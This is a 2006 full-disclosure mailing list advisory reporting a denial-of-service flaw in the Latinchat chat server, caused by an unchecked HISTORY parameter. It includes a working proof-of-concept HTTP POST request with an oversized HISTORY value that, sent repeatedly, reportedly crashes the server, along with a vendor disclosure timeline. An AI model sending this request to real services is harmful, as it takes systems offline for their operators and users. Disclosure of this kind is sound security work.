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Message-ID: <44D988FA.706@gmail.com>
Date: Wed, 09 Aug 2006 02:04:26 -0500
From: Vicente Perez <vp.vicenteperez@...il.com>
To: full-disclosure@...ts.grok.org.uk, vulnwatch@...nwatch.org
Cc:
Subject: Latinchat Denial Of Service
Denial Of Service on Chat Magma Latinchat
http://www.latinchat.com
Researcher: Vicente Perez
1.-Overview
Latinchat is one of the most known chat server, and used basically by
latin american people.
2.-Description
This system has a vulnerabily as DoS, taking system offline by a while.
The fail happens when the histroy variable is not properly checked by
system, and when the request, is modified by a mal intencionated user,
can take the system down. History variable is used to show the last X
messages sent to the room before the conexion takes place.
A POC has been writed as:
POST /JAVA HTTP/1.0
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows 98)
Referer: http://www.disp006-org.latinchat.com
Content-length: 142
UserName=Pentest&SessionID=C247b19b2a&TEMPLATE=2&RoomID=R29_6-1&HISTORY=999999999999999999999999999999999999999999999999999999999999999999999
When this URL is sent for a spefied times, the server crash.
4.- Disclosure Timeout
Vendor COntacted: 08-Julio-2006 Vendor never response.
Public Advisory: 08-Agosto-2006
5.- Copyright
http://www.securitynation.com - Security Nation is a Lab Supported by
RISS Security Services.
http://www.riss.com.mx
vicente.perez@...s.com.mx
Copyright SecurityNation.
Contact: vp.vicenteperez@...il.com
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